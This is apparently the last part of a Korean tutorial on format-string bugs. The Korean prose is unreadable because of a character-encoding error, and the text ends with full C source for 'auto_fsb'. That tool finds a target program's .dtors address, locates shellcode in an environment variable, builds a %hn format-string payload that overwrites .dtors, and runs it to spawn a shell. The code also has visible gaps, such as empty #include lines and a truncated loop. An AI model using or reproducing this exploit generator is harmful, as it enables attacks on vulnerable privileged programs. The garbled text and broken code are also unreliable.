µ¥ getopt ÇÔ¼ö¸¦ »ç¿ëÇÏÁö ¾Ê°í, ±×³É ´Ü¼øÇÑ ÀÎÀÚ Àü´Þ ¹æ½ÄÀ» »ç¿ëÇÏ ¿´´Ù. ºÒÆíÇÑ »ç¿ëÀÚ´Â getopt ÇÔ¼ö¸¦ »ç¿ëÇÏ¿© ¼Ò½º¸¦ ¼öÁ¤Çϱ⠹٠¶õ´Ù. À§ÀÇ »çÇ×µéÀ» °í·ÁÇÏ¿© °£´ÜÇÑ Çü½ÄÀÇ Æ÷¸ä½ºÆ®¸µ ¹®Á¦°¡ ÀÖ´Â ÇÁ·Î ±×·¥µéÀ» ÀÚµ¿À¸·Î °ø°ÝÇÒ ¼ö ÀÖ´Â ÅøÀ» ÀÛ¼ºÇÏ¿´´Ù. ±×·¯³ª, ÀÌ Åøµµ ´ÙÀ½°ú °°Àº ÀԷ°ªÀº ÀÚµ¿È­ ÇÒ ¼ö ¾ø´Ù. ¶ÇÇÑ, remote °ø°ÝÀÏ °æ¿ì .dtors¸¦ ±¸ÇÒ ¼ö ¾øÀ¸¹Ç·Î, ÀÌ ÅøÀ» »ç¿ëÇÒ ¼ö ¾ø´Ù. ÀÚµ¿È­ ÇÒ ¼ö ¾ø°í, »ç¿ëÀÚ°¡ ã¾Æ ÁÖ¾î¾ß ÇÏ´Â °Íµé 1) alignÀÇ °³¼ö 2) %x(%8x)ÀÇ °³¼ö ¼³°èÇÑ ÀÚµ¿È­ ÅøÀÇ »ç¿ë¹ýÀº ´ÙÀ½°ú °°´Ù. $ ./auto_fsb Usage: ./auto_fsb [align] type 1 : input from argv[1] type 2 : input from 0(standard input) $ ./auto_fsb ./fmt2 1 9 # Åø¿¡ ´ëÇÑ ÀÚ¼¼ÇÑ ¼³¸íÀº º°Ã·ÀÇ ÁÖ¼®À» Âü°íÇϱ⠹ٶõ´Ù. 6. ¸¶Ä¡¸ç ÀÌ ±Û¿¡¼­ ¾ð±ÞÇÑ ³»¿ëÀÌ À߸øµÇ¾ú°Å³ª, ¼öÁ¤ÇØ¾ß ÇÒ »çÇ×ÀÌ ÀÖÀ¸¸é ÇÊÀÚ¿¡°Ô ¸ÞÀÏÀ» º¸³» Áֱ⠹ٶõ´Ù. ÀÌ ±Û¿¡ °ø°³µÈ ±â¼úÀ» ÅëÇØ Áö½ÄÀ» °¥±¸ÇÏ´Â »ç¶÷µé¿¡°Ô Á¶±ÝÀ̳ª¸¶ µµ¿òÀÌ µÇ¾úÀ¸¸é ÇÑ´Ù. ¶ÇÇÑ, ÀÌ ±Û¿¡ Æ÷ÇÔµÈ ¼Ò½º Äڵ带 ÅëÇÑ ºÒ¹ýÀû ÀÎ ÇൿÀº ÀÚÁ¦ÇØ Áֱ⠹ٶõ´Ù. ³¡À¸·Î µÎ¼­¾øÀÌ ½á ³ª°£ ÀÌ Àå¹®ÀÇ ±ÛÀ» ³¡±îÁö Àоî ÁØ µ¶ÀÚµé°ú ±ÛÀ» ¾²´Âµ¥ µµ¿òÀ» ÁØ ¸¹Àº »ç¶÷µé¿¡°Ô °¨»çÀÇ ¸»À» ÀüÇÑ´Ù. 7. Âü°í¹®Çå - Overwriting ELF .dtors section to modify program execution (Guido Bakker) - The Linux Kernel(David A Rusling) - More info on format bugs.(Pascal Bouchareine) # º°Ã· (egg shellÀº µ¶ÀÚÀÇ ¸òÀ¸·Î ³²±ä´Ù.) ******* /* made by amadoh4ck in Null@Root */ #include #include #include /* ÇÊ¿äÇÑ ÅøµéÀÇ Àý´ë°æ·Î¸¦ ¸í½ÃÇÑ´Ù. */ #define OBJDUMP "/usr/bin/objdump" #define GREP "/bin/grep" #define AWK "/bin/awk" /* this code is ripped from Scrippie/ronald@grafix.nl */ /* .dtors °ªÀ» ¾ò´Â´Ù. */ unsigned long get_dtors(const char *filename) { char cmd[1024]; FILE *fp; char res[11]; snprintf(cmd, sizeof(cmd), "%s -h %s | %s dtors | %s \ '{ print \"0x\"$4; }'", OBJDUMP, filename, GREP, AWK); fp = (FILE *)popen(cmd, "r"); /* ¸í·ÉÀ» pipe¸¦ ÀÌ¿ëÇÏ¿© ½ÇÇà */ fgets(res, 11, fp); /* °á°ú°ªÀ» res¿¡ ÀúÀå */ pclose(fp); /* pipe close */ return(strtol(res, NULL, 16)); /* .dtors °ªÀ» ¸®ÅÏ */ } /* ÁÖ¼Ò°ª¿¡ NULL(0x00)ÀÌ Á¸ÀçÇÏ´Â Áö¸¦ üũÇÑ´Ù. */ int contain0(long value) { return !((value & 0x00ffffff) && (value & 0xff00ffff) && (value & 0xffff00ff) && (value & 0xffffff00)); } /* shellcode°¡ µé¾îÀִ ȯ°æº¯¼öÀÇ ÁÖ¼Ò°ªÀ» ±¸ÇÑ´Ù. */ unsigned long get_eggaddr(char **env) { int i; char *tmp_ptr; /* ȯ°æº¯¼ö°¡ Á¸ÀçÇÒ¶§ ±îÁö ¹Ýº¹ */ for (i=0; env[i]; i++) { /* AMADOH4CK À̶ó´Â ȯ°æº¯¼ö¸¦ ã´Â´Ù. */ if ((tmp_ptr = strstr(env[i], "AMADOH4CK="))) { tmp_ptr += 10; /* "AMADOH4CK=" ´ÙÀ½ ÁÖ¼Ò¸¦ set */ return ((unsigned long)tmp_ptr); } } /* AMADOH4CK À̶ó´Â ȯ°æº¯¼ö¸¦ ãÁö ¸øÇϸé errorÃâ·Â ÈÄ Á¾·á */ printf("Error: You must run it on eggshell.\n"); exit(-1); } int main(int argc, char **argv, char **environ) { unsigned long dtors; unsigned long shelladdr; unsigned int high, low, temp; int i, type, num, align=0, change=0; char format[2048], *ptr, tmpstr[100]; if (argc < 4) { printf("Usage: %s [align]\n", \ argv[0]); printf("type 1 : input from argv[1]\n"); printf("type 2 : input from 0(standard input)\n\n"); exit(0); } /* .dtors ÁÖ¼Ò°ªÀ» ¾òÀº ÈÄ 6À» ´õÇÑ´Ù. 0xffffffff ¿µ¿ªÀ» °Ç³Ê¶Ù±â À§ÇØ 4¸¦ ´õÇÏ°í, ÀϹÝÀûÀ¸·Î shelladdrÀÇ »óÀ§°ª(ÁÖ·Î, 0xbfff)ÀÌ ÇÏÀ§°ª(ÁÖ·Î, 0xf...)º¸´Ù ÀÛÀ¸¹Ç·Î, 2¸¦ ´õ ´õÇØÁØ´Ù. */ dtors = get_dtors(argv[1]) + 6; /* shellcode °¡ ÀúÀåµÈ ÁÖ¼Ò¸¦ ±¸ÇÑ ÈÄ NOPÀ» ³ÖÀº °ÍÀ¸·Î °¡Á¤ÇÏ°í Àû´çÇÑ Å©±â¸¦ ´õÇØÁØ´Ù. ¸¸¾à shelladdr¿¡ ³Î¹®ÀÚ°¡ Æ÷ÇԵǾî ÀÖ À¸¸é 4¸¦ ´õ ´õÇØÁØ´Ù. bug: 0x000000ff ¸¦ & ÇßÀ» ¶§ NULLÀÎ ÁÖ¼Ò ¸¸ ÀÌ ¹æ¹ýÀ» ÅëÇØ ÇØ°áÇÒ ¼ö ÀÖ´Ù. */ shelladdr = get_eggaddr(environ) + 40; if (contain0(shelladdr)) shelladdr += 4; /* type°ú %8xÀÇ °³¼ö¸¦ argument¸¦ ÅëÇØ ÀÔ·Â ¹Þ´Â´Ù. */ type = atoi(argv[2]); num = atoi(argv[3]); /* alignÀÌ Á¸ÀçÇϸé alignÀ» ÀԷ¹޴´Ù. */ if (argv[4]) align = atoi(argv[4]); /* °¢Á¾ ¼³Á¤°ªÀ» Ãâ·ÂÇÑ´Ù. */ printf(".dtors to overwite : 0x%lx\n", dtors-2); printf("address of shell : 0x%lx\n", shelladdr); printf("Using %%.8x Count : %d\n", num); printf("Using alignment : %d\n", align); /* shelladdrÀ» ºÐ¸®ÇÏ¿© °è»êÇÑ´Ù. */ high = shelladdr & 0xffff; low = (shelladdr & 0xffff0000) >> 16; high -= (num*8 + 16 + align); low -= (num*8 + 16 + align); /* ¸¸¾à shelladdr ÀÇ »óÀ§ÁÖ¼Ò°ªÀÌ ÇÏÀ§ÁÖ¼Ò°ªº¸´Ù ÀÛÀ¸¸é °¢°¢ÀÇ °ªÀ» ¼­·Î ¹Ù²Û´Ù. ¶ÇÇÑ, µ¤¾î¾µ dtors ¿µ¿ªµµ ¹Ù²Ù¾î ÁÖ¾î¾ß ÇÑ´Ù. */ if (high < low) { temp = low; low = high; high = temp; dtors -= 2; change = 1; } ptr = format; /* type ÀÌ 1 (argument¸¦ ÅëÇÑ ÀÔ·Â)À̸é perlÀ» ÅëÇØ ÀÔ·ÂÀ» ÇÑ´Ù. */ if (type == 1) { snprintf(tmpstr, 100, "perl -e 'system \"%s\", \"", argv[1]); memcpy(ptr, tmpstr, strlen(tmpstr)); ptr += strlen(tmpstr); } else { /* type ÀÌ 2 (standard inputÀ» ÅëÇÑ ÀÔ·Â)À̸é printf¸¦ ÅëÇØ ÀÔ·ÂÇÑ´Ù. */ memcpy(ptr, "(printf \"", 9); ptr += 9; } /* align ¸¸Å­ 'A'¸¦ ¹öÆÛ¿¡ ä¿î´Ù. */ memset(ptr, 'A', align); ptr += align; /* %hnÀ» ÀÌ¿ëÇϹǷÎ, for¹®À» ÀÌ¿ëÇÏ¿© ÁÖ¼Ò°ªÀ» µÑ·Î ³ª´©¾î ¹öÆÛ¿¡ ä¿î´Ù. À̶§ »óÀ§ÁÖ¼Ò°ª°ú ÇÏÀ§ÁÖ¼Ò°ªÀÇ º¯È­¿©ºÎ¿¡ µû¶ó dtors °ª¿¡¼­ 2¸¦ »©°Å³ª ´õÇÑ´Ù. */ for (i=0; i<2; i++) { /* dtors °ª¿¡ NULL(0x00)ÀÌ Æ÷ÇԵǾî ÀÖÀ¸¸é error Ç¥½ÃÇÑ ÈÄ Á¾·áÇÑ´Ù. */ if (contain0(dtors)) { printf("Error: .dtors contains a zero byte. Use ret_addr\n"); exit(1); } /* 'Z'¸¦ ¹öÆÛ¿¡ 4°³ ä¿î´Ù. */ memset(ptr, 'Z', 4); ptr += 4; /* shellcodeÀÇ ÁÖ¼Ò°ªÀ» µ¤¾î¾µ .dtors ÁÖ¼Ò°ªÀ» ¹öÆÛ¿¡ ä¿î´Ù. ÀÌÁ¦ .dtors¿¡ shellcodeÀÇ ÁÖ¼Ò°ªÀ» ä¿òÀ¸·Î½á ÇÁ·Î±×·¥ Á¾·áÈÄ ½©ÀÌ ¶ã °ÍÀÌ´Ù. */ sprintf(ptr, "\\x%02x\\x%02x\\x%02x\\x%02x", dtors & 0xff, \ (dtors>>8)&0xff, (dtors>>16)&0xff, (dtors>>24)&0xff); ptr += strlen(ptr); /* ¸¸¾à shelladdrÀÇ »óÀ§ÁÖ¼Ò°ª°ú ÇÏÀ§ÁÖ¼Ò°ªÀ» ¹Ù²å´Ù¸é dtors¿¡ 2¸¦ Áõ°¡½ÃŲ ÈÄ À§¿Í °°Àº ÀÛ¾÷(for¹® ¾ÈÀÇ ÀÛ¾÷)À» Çѹø ´õ ÇØ ÁÖ¾î¾ß ÇÑ´Ù. */ if (change) dtors += 2; else dtors -= 2; } /* ÁöÁ¤ÇÑ °³¼ö¸¸Å­ %8x¸¦ ¹öÆÛ¿¡ ä¿î´Ù. */ for (i=0; i key to start..\n"); /* Enter°¡ ÀÔ·ÂµÉ ¶§±îÁö ±â´Ù¸°´Ù. */ getchar(); /* ¸í·ÉÀ» ½ÇÇàÇÑ´Ù. */ system(format); }